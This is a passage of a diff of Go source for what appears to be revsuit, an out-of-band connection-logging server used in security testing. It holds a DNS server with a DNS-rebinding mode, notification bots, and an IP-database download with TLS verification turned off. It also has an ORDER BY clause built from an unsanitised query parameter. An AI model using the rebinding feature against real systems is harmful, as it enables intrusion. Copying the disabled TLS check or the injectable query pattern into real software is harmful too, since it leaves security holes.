Tag: "plain_text",
|
||||||
|
Content: "New Connection",
|
||||||
|
},
|
||||||
|
},
|
||||||
|
Elements: []larkElement{
|
||||||
|
{
|
||||||
|
Tag: "div",
|
||||||
|
Text: larkText{
|
||||||
|
Tag: "lark_md",
|
||||||
|
Content: formatRecordField(r,"**%s**: %v"),
|
||||||
|
},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
p, err := json.Marshal(&payload)
|
||||||
|
if err != nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
return string(p)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (d *Lark) notice(r record.Record) error {
|
||||||
|
resp, err := http.DefaultClient.Post(d.URL, "application/json", strings.NewReader(d.buildPayload(r)))
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("HTTP request: %v", err)
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
|
||||||
|
if resp.StatusCode/100 != 2 {
|
||||||
|
data, err := ioutil.ReadAll(resp.Body)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("read HTTP response body: %v", err)
|
||||||
|
}
|
||||||
|
return fmt.Errorf("non-success response status code %d with body: %s", resp.StatusCode, data)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,84 @@
|
|||||||
|
package notice
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"io/ioutil"
|
||||||
|
"net/http"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"github.com/li4n0/revsuit/internal/record"
|
||||||
|
)
|
||||||
|
|
||||||
|
var _ Bot = (*Slack)(nil)
|
||||||
|
|
||||||
|
type Slack struct {
|
||||||
|
URL string
|
||||||
|
}
|
||||||
|
|
||||||
|
type slackText struct {
|
||||||
|
Type string `json:"type"`
|
||||||
|
Text string `json:"text"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type slackBlock struct {
|
||||||
|
Type string `json:"type"`
|
||||||
|
Text slackText `json:"text"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type slackAttachments struct {
|
||||||
|
Color string `json:"color"`
|
||||||
|
Blocks []slackBlock `json:"blocks"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type slackPayload struct {
|
||||||
|
Attachments []slackAttachments `json:"attachments"`
|
||||||
|
}
|
||||||
|
|
||||||
|
func (d *Slack) buildPayload(r record.Record) string {
|
||||||
|
payload := slackPayload{
|
||||||
|
Attachments: []slackAttachments{
|
||||||
|
{
|
||||||
|
Color: "#f2c744",
|
||||||
|
Blocks: []slackBlock{
|
||||||
|
{
|
||||||
|
Type: "header",
|
||||||
|
Text: slackText{
|
||||||
|
Type: "plain_text",
|
||||||
|
Text: "New Connection",
|
||||||
|
},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
Type: "section",
|
||||||
|
Text: slackText{
|
||||||
|
Type: "mrkdwn",
|
||||||
|
Text: formatRecordField(r, "- `%s: %v`"),
|
||||||
|
},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
p, err := json.Marshal(&payload)
|
||||||
|
if err != nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
return string(p)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (d *Slack) notice(r record.Record) error {
|
||||||
|
resp, err := http.DefaultClient.Post(d.URL, "application/json", strings.NewReader(d.buildPayload(r)))
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("HTTP request: %v", err)
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
|
||||||
|
if resp.StatusCode/100 != 2 {
|
||||||
|
data, err := ioutil.ReadAll(resp.Body)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("read HTTP response body: %v", err)
|
||||||
|
}
|
||||||
|
return fmt.Errorf("non-success response status code %d with body: %s", resp.StatusCode, data)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,59 @@
|
|||||||
|
package notice
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"io/ioutil"
|
||||||
|
"net/http"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"github.com/li4n0/revsuit/internal/record"
|
||||||
|
)
|
||||||
|
|
||||||
|
var _ Bot = (*Weixin)(nil)
|
||||||
|
|
||||||
|
type Weixin struct {
|
||||||
|
URL string
|
||||||
|
}
|
||||||
|
|
||||||
|
type weixinMarkdown struct {
|
||||||
|
Content string `json:"content"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type weixinPayload struct {
|
||||||
|
ToUser string `json:"touser"`
|
||||||
|
MsgType string `json:"msgtype"`
|
||||||
|
Markdown weixinMarkdown `json:"markdown"`
|
||||||
|
}
|
||||||
|
|
||||||
|
func (w *Weixin) buildPayload(r record.Record) string {
|
||||||
|
payload := weixinPayload{
|
||||||
|
ToUser: "@all",
|
||||||
|
MsgType: "markdown",
|
||||||
|
Markdown: weixinMarkdown{
|
||||||
|
Content: "<font color=\"#e96900\" face=\"Fira Code\" size=3>New Connection</font>\n" +
|
||||||
|
formatRecordField(r, `> **<font color="#e96900" face="Fira Code">%s: </font>**<font color="#e96900" face="Fira Code">%v</font>`),
|
||||||
|
},
|
||||||
|
}
|
||||||
|
p, err := json.Marshal(&payload)
|
||||||
|
if err != nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
return string(p)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (w *Weixin) notice(r record.Record) error {
|
||||||
|
resp, err := http.DefaultClient.Post(w.URL, "application/json", strings.NewReader(w.buildPayload(r)))
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("HTTP request: %v", err)
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
if resp.StatusCode/100 != 2 {
|
||||||
|
data, err := ioutil.ReadAll(resp.Body)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("read HTTP response body: %v", err)
|
||||||
|
}
|
||||||
|
return fmt.Errorf("non-success response status code %d with body: %s", resp.StatusCode, data)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,99 @@
|
|||||||
|
package qqwry
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"compress/zlib"
|
||||||
|
"crypto/tls"
|
||||||
|
"encoding/binary"
|
||||||
|
"errors"
|
||||||
|
"io/ioutil"
|
||||||
|
"net/http"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
log "unknwon.dev/clog/v2"
|
||||||
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
COPY_WRITE_URL = "https://qqwry.mirror.noc.one/copywrite.rar"
|
||||||
|
QQWRY_URL = "https://qqwry.mirror.noc.one/qqwry.rar"
|
||||||
|
)
|
||||||
|
|
||||||
|
func get(url string) (b []byte, err error) {
|
||||||
|
client := http.Client{
|
||||||
|
Timeout: 90 * time.Second,
|
||||||
|
Transport: &http.Transport{
|
||||||
|
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // disable verify
|
||||||
|
}}
|
||||||
|
request, _ := http.NewRequest("GET", url, nil)
|
||||||
|
request.Header.Add("User-Agent", "Nali/2.1.2 (Nali CLI, https://nali.skk.moe)")
|
||||||
|
|
||||||
|
resp, err := client.Do(request)
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
|
||||||
|
b, err = ioutil.ReadAll(resp.Body)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
func getKey(b []byte) (key uint32, err error) {
|
||||||
|
if len(b) != 280 {
|
||||||
|
return 0, errors.New("copywrite.rar is corrupt")
|
||||||
|
}
|
||||||
|
key = binary.LittleEndian.Uint32(b[20:])
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
func decrypt(b []byte, key uint32) (_ []byte, err error) {
|
||||||
|
for i := 0; i < 0x200; i++ {
|
||||||
|
key *= uint32(0x805)
|
||||||
|
key++
|
||||||
|
key &= uint32(0xff)
|
||||||
|
b[i] = b[i] ^ byte(key)
|
||||||
|
}
|
||||||
|
rc, err := zlib.NewReader(bytes.NewBuffer(b))
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer rc.Close()
|
||||||
|
return ioutil.ReadAll(rc)
|
||||||
|
}
|
||||||
|
|
||||||
|
func download() (err error) {
|
||||||
|
var (
|
||||||
|
copyWriteData, qqwryData []byte
|
||||||
|
wg sync.WaitGroup
|
||||||
|
)
|
||||||
|
log.Info("Downloading qqwry.dat...")
|
||||||
|
wg.Add(2)
|
||||||
|
go func() {
|
||||||
|
defer wg.Done()
|
||||||
|
if copyWriteData, err = get(COPY_WRITE_URL); err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
go func() {
|
||||||
|
defer wg.Done()
|
||||||
|
if qqwryData, err = get(QQWRY_URL); err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
wg.Wait()
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
var key uint32
|
||||||
|
if key, err = getKey(copyWriteData); err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
b, err := decrypt(qqwryData, key)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
_ = ioutil.WriteFile("qqwry.dat", b, 0644)
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,14 @@
|
|||||||
|
package qqwry
|
||||||
|
|
||||||
|
// Area return IpArea according to ip
|
||||||
|
func Area(ip string) string {
|
||||||
|
ipData := GetQQWry().SearchByIPv4(ip)
|
||||||
|
if GetQQWry() == nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
if ipData.Area == " CZ88.NET" {
|
||||||
|
return ipData.Country
|
||||||
|
} else {
|
||||||
|
return ipData.Country + " " + ipData.Area
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,47 @@
|
|||||||
|
package qqwry
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/sinlov/qqwry-golang/qqwry"
|
||||||
|
log "unknwon.dev/clog/v2"
|
||||||
|
)
|
||||||
|
|
||||||
|
var wry *qqwry.QQwry
|
||||||
|
var once sync.Once
|
||||||
|
|
||||||
|
func init() {
|
||||||
|
info, err := os.Stat("qqwry.dat")
|
||||||
|
if err != nil {
|
||||||
|
if os.IsNotExist(err) {
|
||||||
|
err := download()
|
||||||
|
if err != nil {
|
||||||
|
log.Error("Download qqwry.dat failed, caused by:%v, recommend to download it by yourself otherwise the `IpArea` will be null", err.Error())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else if info.ModTime().Sub(time.Now()) > 5*24*time.Hour {
|
||||||
|
log.Info("Updating qqwry.dat...")
|
||||||
|
err := download()
|
||||||
|
if err != nil {
|
||||||
|
log.Warn("Update qqwry.dat failed, please download qqwry.dat by yourself")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func GetQQWry() *qqwry.QQwry {
|
||||||
|
once.Do(func() {
|
||||||
|
qqwry.DatData.FilePath = "qqwry.dat"
|
||||||
|
init := qqwry.DatData.InitDatFile()
|
||||||
|
if v, ok := init.(error); ok {
|
||||||
|
if v != nil {
|
||||||
|
log.Error("qqwry init failed")
|
||||||
|
wry = nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
wry = qqwry.NewQQwry()
|
||||||
|
})
|
||||||
|
|
||||||
|
return wry
|
||||||
|
}
|
||||||
@@ -0,0 +1,38 @@
|
|||||||
|
package record
|
||||||
|
|
||||||
|
import (
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
var recordChan = make(chan BaseRecord, 100)
|
||||||
|
|
||||||
|
type Record interface {
|
||||||
|
GetFlag() string
|
||||||
|
PushToClient()
|
||||||
|
Notice()
|
||||||
|
}
|
||||||
|
|
||||||
|
type BaseRecord struct {
|
||||||
|
Record `gorm:"-" json:"-"`
|
||||||
|
ID uint `gorm:"primarykey" form:"id" json:"id" notice:"-"`
|
||||||
|
RuleName string `gorm:"index" form:"rule_name" json:"rule_name" notice:"rule"`
|
||||||
|
Flag string `gorm:"index" form:"flag" json:"flag" `
|
||||||
|
RemoteIP string `gorm:"index" form:"remote_ip" json:"remote_ip" notice:"remote_ip"`
|
||||||
|
IpArea string `form:"ip_area" json:"ip_area" notice:"ip_area"`
|
||||||
|
RequestTime time.Time `gorm:"index" form:"request_time" json:"request_time" notice:"-"`
|
||||||
|
}
|
||||||
|
|
||||||
|
func (b BaseRecord) GetFlag() string {
|
||||||
|
return b.Flag
|
||||||
|
}
|
||||||
|
|
||||||
|
func (b BaseRecord) PushToClient() {
|
||||||
|
recordChan <- b
|
||||||
|
}
|
||||||
|
|
||||||
|
func (b BaseRecord) Notice() {
|
||||||
|
}
|
||||||
|
|
||||||
|
func Channel() chan BaseRecord {
|
||||||
|
return recordChan
|
||||||
|
}
|
||||||
@@ -0,0 +1,65 @@
|
|||||||
|
package rule
|
||||||
|
|
||||||
|
import (
|
||||||
|
"regexp"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
log "unknwon.dev/clog/v2"
|
||||||
|
)
|
||||||
|
|
||||||
|
type Rule interface {
|
||||||
|
CreateOrUpdate() error
|
||||||
|
Delete() error
|
||||||
|
}
|
||||||
|
|
||||||
|
type BaseRule struct {
|
||||||
|
Rule `gorm:"-" json:"-"`
|
||||||
|
ID uint `gorm:"primarykey" form:"id" json:"id"`
|
||||||
|
CreatedAt time.Time `json:"created_at"`
|
||||||
|
UpdatedAt time.Time `json:"updated_at"`
|
||||||
|
Name string `gorm:"index;unique;not null;" form:"name" json:"name"`
|
||||||
|
FlagFormat string `gorm:"unique;not null;" form:"flag_format" json:"flag_format"`
|
||||||
|
flagCatcher *regexp.Regexp `gorm:"-" json:"-"`
|
||||||
|
Rank int `gorm:"default:0" json:"rank" form:"rank"`
|
||||||
|
PushToClient bool `gorm:"default:false;not null;" form:"push_to_client" json:"push_to_client"`
|
||||||
|
Notice bool `gorm:"default:false;not null;" form:"notice" json:"notice"`
|
||||||
|
}
|
||||||
|
|
||||||
|
func compileCatcher(flagFormat string) (reg *regexp.Regexp, err error) {
|
||||||
|
if reg, err := regexp.Compile(flagFormat); err == nil {
|
||||||
|
return reg, nil
|
||||||
|
} else {
|
||||||
|
// * meaning record all connections.
|
||||||
|
if flagFormat != "*" {
|
||||||
|
return nil, err
|
||||||
|
} else {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (br BaseRule) Match(s string) (flag, flagGroup string) {
|
||||||
|
if br.flagCatcher == nil && br.FlagFormat != "*" {
|
||||||
|
// compile rule flags
|
||||||
|
catcher, err := compileCatcher(br.FlagFormat)
|
||||||
|
if err != nil {
|
||||||
|
log.Error("%s(rule:%s)", err.Error(), br.Name)
|
||||||
|
}
|
||||||
|
br.flagCatcher = catcher
|
||||||
|
}
|
||||||
|
|
||||||
|
if br.flagCatcher == nil {
|
||||||
|
// capture all connection.
|
||||||
|
flag = "*"
|
||||||
|
} else {
|
||||||
|
matched := br.flagCatcher.FindStringSubmatch(s)
|
||||||
|
if len(matched) == 0 {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
flag = matched[0]
|
||||||
|
if len(matched) > 1 {
|
||||||
|
flagGroup = matched[1]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
@@ -0,0 +1,5 @@
|
|||||||
|
package dns
|
||||||
|
|
||||||
|
type Config struct {
|
||||||
|
Enable bool
|
||||||
|
}
|
||||||
+175
@@ -0,0 +1,175 @@
|
|||||||
|
package dns
|
||||||
|
|
||||||
|
import (
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/li4n0/revsuit/internal/database"
|
||||||
|
"github.com/li4n0/revsuit/internal/newdns"
|
||||||
|
"github.com/li4n0/revsuit/internal/qqwry"
|
||||||
|
"github.com/patrickmn/go-cache"
|
||||||
|
log "unknwon.dev/clog/v2"
|
||||||
|
)
|
||||||
|
|
||||||
|
type Server struct {
|
||||||
|
rules []*Rule
|
||||||
|
rulesLock sync.RWMutex
|
||||||
|
}
|
||||||
|
|
||||||
|
var (
|
||||||
|
server *Server
|
||||||
|
once sync.Once
|
||||||
|
rebindingCache = cache.New(5*time.Second, 10*time.Second)
|
||||||
|
)
|
||||||
|
|
||||||
|
func GetServer() *Server {
|
||||||
|
once.Do(func() {
|
||||||
|
server = &Server{rulesLock: sync.RWMutex{}}
|
||||||
|
})
|
||||||
|
return server
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *Server) getRules() []*Rule {
|
||||||
|
defer s.rulesLock.RUnlock()
|
||||||
|
s.rulesLock.RLock()
|
||||||
|
return s.rules
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *Server) updateRules() error {
|
||||||
|
db := database.DB.Model(new(Rule))
|
||||||
|
s.rulesLock.Lock()
|
||||||
|
db.Order("rank desc").Find(&s.rules)
|
||||||
|
s.rulesLock.Unlock()
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *Server) Run() {
|
||||||
|
|
||||||
|
if err := s.updateRules(); err != nil {
|
||||||
|
log.Fatal(err.Error())
|
||||||
|
}
|
||||||
|
|
||||||
|
//create new dns zone with root domain
|
||||||
|
newZone := func(name string) *newdns.Zone {
|
||||||
|
domain := strings.TrimSuffix(name, ".")
|
||||||
|
frags := strings.Split(domain, ".")
|
||||||
|
zoneName := ""
|
||||||
|
if len(frags) >= 2 {
|
||||||
|
zoneName = strings.Join(frags[len(frags)-2:], ".") + "."
|
||||||
|
} else {
|
||||||
|
zoneName = name
|
||||||
|
}
|
||||||
|
return &newdns.Zone{
|
||||||
|
Name: zoneName,
|
||||||
|
MasterNameServer: "ns1.hostmaster.com.",
|
||||||
|
AllNameServers: []string{
|
||||||
|
"ns1.hostmaster.com.",
|
||||||
|
"ns2.hostmaster.com.",
|
||||||
|
"ns3.hostmaster.com.",
|
||||||
|
},
|
||||||
|
Handler: func(lookedName, remoteAddr string) ([]newdns.Set, error) {
|
||||||
|
ip := strings.Split(remoteAddr, ":")[0]
|
||||||
|
|
||||||
|
for _, _rule := range s.getRules() {
|
||||||
|
flag, flagGroup := _rule.Match(domain)
|
||||||
|
if flag == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
r, err := newRecord(_rule, flag, domain, ip, qqwry.Area(ip))
|
||||||
|
if err != nil {
|
||||||
|
log.Error("DNS record(rule_id:%s) created failed :%s", _rule.Name, err.Error())
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
log.Trace("DNS record(id:%d) has been created", r.ID)
|
||||||
|
|
||||||
|
//only send to client when this connection recorded first time.
|
||||||
|
if _rule.PushToClient {
|
||||||
|
if flagGroup != "" {
|
||||||
|
var count int64
|
||||||
|
database.DB.Where("rule_name=? and domain like ?", _rule.Name, "%"+flagGroup+"%").Model(&Record{}).Count(&count)
|
||||||
|
if count <= 1 {
|
||||||
|
r.PushToClient()
|
||||||
|
log.Trace("DNS record(id:%d) has been put to client message queue", r.ID)
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
r.PushToClient()
|
||||||
|
log.Trace("DNS record(id:%d) has been put to client message queue", r.ID)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
//send notice
|
||||||
|
if _rule.Notice {
|
||||||
|
go func() {
|
||||||
|
r.Notice()
|
||||||
|
log.Trace("DNS record(id:%d) notice has been sent", r.ID)
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
|
||||||
|
if _rule.Value != "" {
|
||||||
|
|
||||||
|
_type := _rule.Type
|
||||||
|
if _rule.Type == newdns.REBINDING {
|
||||||
|
_type = newdns.A
|
||||||
|
}
|
||||||
|
|
||||||
|
return []newdns.Set{
|
||||||
|
{
|
||||||
|
Name: name,
|
||||||
|
Type: _type,
|
||||||
|
Records: func() []newdns.Record {
|
||||||
|
switch _rule.Type {
|
||||||
|
case newdns.TXT:
|
||||||
|
return []newdns.Record{{Data: []string{_rule.Value}}}
|
||||||
|
case newdns.CNAME, newdns.NS:
|
||||||
|
return []newdns.Record{{Address: _rule.Value + "."}}
|
||||||
|
case newdns.REBINDING:
|
||||||
|
|
||||||
|
// Get rebinding ip list
|
||||||
|
values, ok := rebindingCache.Get(ip)
|
||||||
|
if !ok {
|
||||||
|
rebindingCache.Set(ip, strings.Split(_rule.Value, ","), cache.DefaultExpiration)
|
||||||
|
values = strings.Split(_rule.Value, ",")
|
||||||
|
}
|
||||||
|
|
||||||
|
//Choose and delete first ip
|
||||||
|
value := values.([]string)[0]
|
||||||
|
if len(values.([]string)) > 1 {
|
||||||
|
rebindingCache.Set(ip, values.([]string)[1:len(values.([]string))], cache.DefaultExpiration)
|
||||||
|
} else {
|
||||||
|
rebindingCache.Delete(ip)
|
||||||
|
}
|
||||||
|
|
||||||
|
log.Trace("DNS rebinding client(ip:%v) to %v", ip, value)
|
||||||
|
return []newdns.Record{{Address: value}}
|
||||||
|
default:
|
||||||
|
return []newdns.Record{{Address: _rule.Value}}
|
||||||
|
}
|
||||||
|
}(),
|
||||||
|
TTL: _rule.TTL * time.Second,
|
||||||
|
},
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil, nil
|
||||||
|
},
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// create server
|
||||||
|
server := newdns.NewServer(newdns.Config{
|
||||||
|
Handler: func(name string) (*newdns.Zone, error) {
|
||||||
|
return newZone(name), nil
|
||||||
|
},
|
||||||
|
})
|
||||||
|
|
||||||
|
// run server
|
||||||
|
log.Info("Starting DNS Server at :53")
|
||||||
|
err := server.Run(":53")
|
||||||
|
if err != nil {
|
||||||
|
log.Fatal(err.Error())
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,97 @@
|
|||||||
|
package dns
|
||||||
|
|
||||||
|
import (
|
||||||
|
"strconv"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/gin-gonic/gin"
|
||||||
|
"github.com/li4n0/revsuit/internal/database"
|
||||||
|
"github.com/li4n0/revsuit/internal/notice"
|
||||||
|
"github.com/li4n0/revsuit/internal/record"
|
||||||
|
)
|
||||||
|
|
||||||
|
var _ record.Record = (*Record)(nil)
|
||||||
|
|
||||||
|
type Record struct {
|
||||||
|
Domain string `gorm:"index" form:"domain" json:"domain"`
|
||||||
|
|
||||||
|
record.BaseRecord
|
||||||
|
Rule Rule `gorm:"foreignKey:RuleName;references:Name;constraint:OnUpdate:CASCADE,OnDelete:SET NULL;" form:"-" json:"-" notice:"-"`
|
||||||
|
}
|
||||||
|
|
||||||
|
func (Record) TableName() string {
|
||||||
|
return "dns_records"
|
||||||
|
}
|
||||||
|
|
||||||
|
func (r Record) Notice() {
|
||||||
|
notice.Notice(r)
|
||||||
|
}
|
||||||
|
|
||||||
|
func newRecord(rule *Rule, flag, domain, remoteIp, ipArea string) (r *Record, err error) {
|
||||||
|
r = &Record{
|
||||||
|
BaseRecord: record.BaseRecord{
|
||||||
|
Flag: flag,
|
||||||
|
RemoteIP: remoteIp,
|
||||||
|
IpArea: ipArea,
|
||||||
|
RequestTime: time.Now(),
|
||||||
|
},
|
||||||
|
Domain: domain,
|
||||||
|
Rule: *rule,
|
||||||
|
}
|
||||||
|
err = database.DB.Create(r).Error
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
func List(c *gin.Context) {
|
||||||
|
var (
|
||||||
|
dnsRecord Record
|
||||||
|
res []Record
|
||||||
|
count int64
|
||||||
|
order = c.Query("order")
|
||||||
|
)
|
||||||
|
if err := c.ShouldBind(&dnsRecord); err != nil {
|
||||||
|
c.JSON(400, gin.H{
|
||||||
|
"status": "failed",
|
||||||
|
"error": err,
|
||||||
|
"result": nil,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
db := database.DB.Model(&dnsRecord)
|
||||||
|
if dnsRecord.Flag != "" {
|
||||||
|
db.Where("flag = ?", dnsRecord.Flag)
|
||||||
|
}
|
||||||
|
if dnsRecord.Domain != "" {
|
||||||
|
db.Where("domain like ?", "%"+dnsRecord.Domain+"%")
|
||||||
|
}
|
||||||
|
if dnsRecord.RemoteIP != "" {
|
||||||
|
db.Where("remote_ip = ?", dnsRecord.RemoteIP)
|
||||||
|
}
|
||||||
|
if dnsRecord.RuleName != "" {
|
||||||
|
db.Where("rule_name = ?", dnsRecord.RuleName)
|
||||||
|
}
|
||||||
|
|
||||||
|
page, err := strconv.Atoi(c.Query("page"))
|
||||||
|
if err != nil {
|
||||||
|
c.JSON(400, gin.H{
|
||||||
|
"status": "failed",
|
||||||
|
"error": err.Error(),
|
||||||
|
"result": nil,
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if err := db.Order("id" + " " + order).Count(&count).Offset((page - 1) * 10).Limit(10).Find(&res).Error; err != nil {
|
||||||
|
c.JSON(400, gin.H{
|
||||||
|
"status": "failed",
|
||||||
|
"error": err.Error(),
|
||||||
|
"data": nil,
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
c.JSON(200, gin.H{
|
||||||
|
"status": "succeed",
|
||||||
|
"error": nil,
|
||||||
|
"result": gin.H{"count": count, "data": res},
|
||||||
|
})
|
||||||
|
}
|
||||||
+198
@@ -0,0 +1,198 @@
|
|||||||
|
package dns
|
||||||
|
|
||||||
|
import (
|
||||||
|
"strconv"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/gin-gonic/gin"
|
||||||
|
"github.com/li4n0/revsuit/internal/database"
|
||||||
|
"github.com/li4n0/revsuit/internal/newdns"
|
||||||
|
"github.com/li4n0/revsuit/internal/rule"
|
||||||
|
"gorm.io/gorm/clause"
|
||||||
|
log "unknwon.dev/clog/v2"
|
||||||
|
)
|
||||||
|
|
||||||
|
type Rule struct {
|
||||||
|
rule.BaseRule
|
||||||
|
Type newdns.Type `gorm:"default:1" form:"type" json:"type"`
|
||||||
|
Value string `form:"value" json:"value"`
|
||||||
|
TTL time.Duration `gorm:"ttl;default:10" form:"ttl" json:"ttl"`
|
||||||
|
}
|
||||||
|
|
||||||
|
func (Rule) TableName() string {
|
||||||
|
return "dns_rules"
|
||||||
|
}
|
||||||
|
|
||||||
|
// New dns rule struct
|
||||||
|
func NewRule(name, flagFormat, value string, pushToClient, notice bool, _type newdns.Type, ttl time.Duration) *Rule {
|
||||||
|
return &Rule{
|
||||||
|
BaseRule: rule.BaseRule{
|
||||||
|
Name: name,
|
||||||
|
FlagFormat: flagFormat,
|
||||||
|
PushToClient: pushToClient,
|
||||||
|
Notice: notice,
|
||||||
|
},
|
||||||
|
Type: _type,
|
||||||
|
Value: value,
|
||||||
|
TTL: ttl,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Create or update the dns rule in database and ruleSet
|
||||||
|
func (r *Rule) CreateOrUpdate() (err error) {
|
||||||
|
db := database.DB.Model(r)
|
||||||
|
err = db.Clauses(clause.OnConflict{
|
||||||
|
Columns: []clause.Column{{Name: "id"}},
|
||||||
|
DoUpdates: clause.AssignmentColumns(
|
||||||
|
[]string{
|
||||||
|
"name",
|
||||||
|
"flag_format",
|
||||||
|
"rank",
|
||||||
|
"type",
|
||||||
|
"value",
|
||||||
|
"ttl",
|
||||||
|
"push_to_client",
|
||||||
|
"notice",
|
||||||
|
}),
|
||||||
|
}).Create(r).Error
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
err = GetServer().updateRules()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Delete the dns rule in database and ruleSet
|
||||||
|
func (r *Rule) Delete() (err error) {
|
||||||
|
db := database.DB.Model(r)
|
||||||
|
err = db.Delete(r).Error
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
err = GetServer().updateRules()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// List all dns rules those satisfy the filter
|
||||||
|
func ListRules(c *gin.Context) {
|
||||||
|
var (
|
||||||
|
dnsRule Rule
|
||||||
|
res []Rule
|
||||||
|
count int64
|
||||||
|
order = c.Query("order")
|
||||||
|
)
|
||||||
|
|
||||||
|
if err := c.ShouldBind(&dnsRule); err != nil {
|
||||||
|
c.JSON(400, gin.H{
|
||||||
|
"status": "failed",
|
||||||
|
"error": err.Error(),
|
||||||
|
"result": nil,
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
db := database.DB.Model(&dnsRule)
|
||||||
|
if dnsRule.Name != "" {
|
||||||
|
db.Where("name = ?", dnsRule.Name)
|
||||||
|
}
|
||||||
|
db.Count(&count)
|
||||||
|
|
||||||
|
page, err := strconv.Atoi(c.Query("page"))
|
||||||
|
if err != nil {
|
||||||
|
c.JSON(400, gin.H{
|
||||||
|
"status": "failed",
|
||||||
|
"error": err.Error(),
|
||||||
|
"result": nil,
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
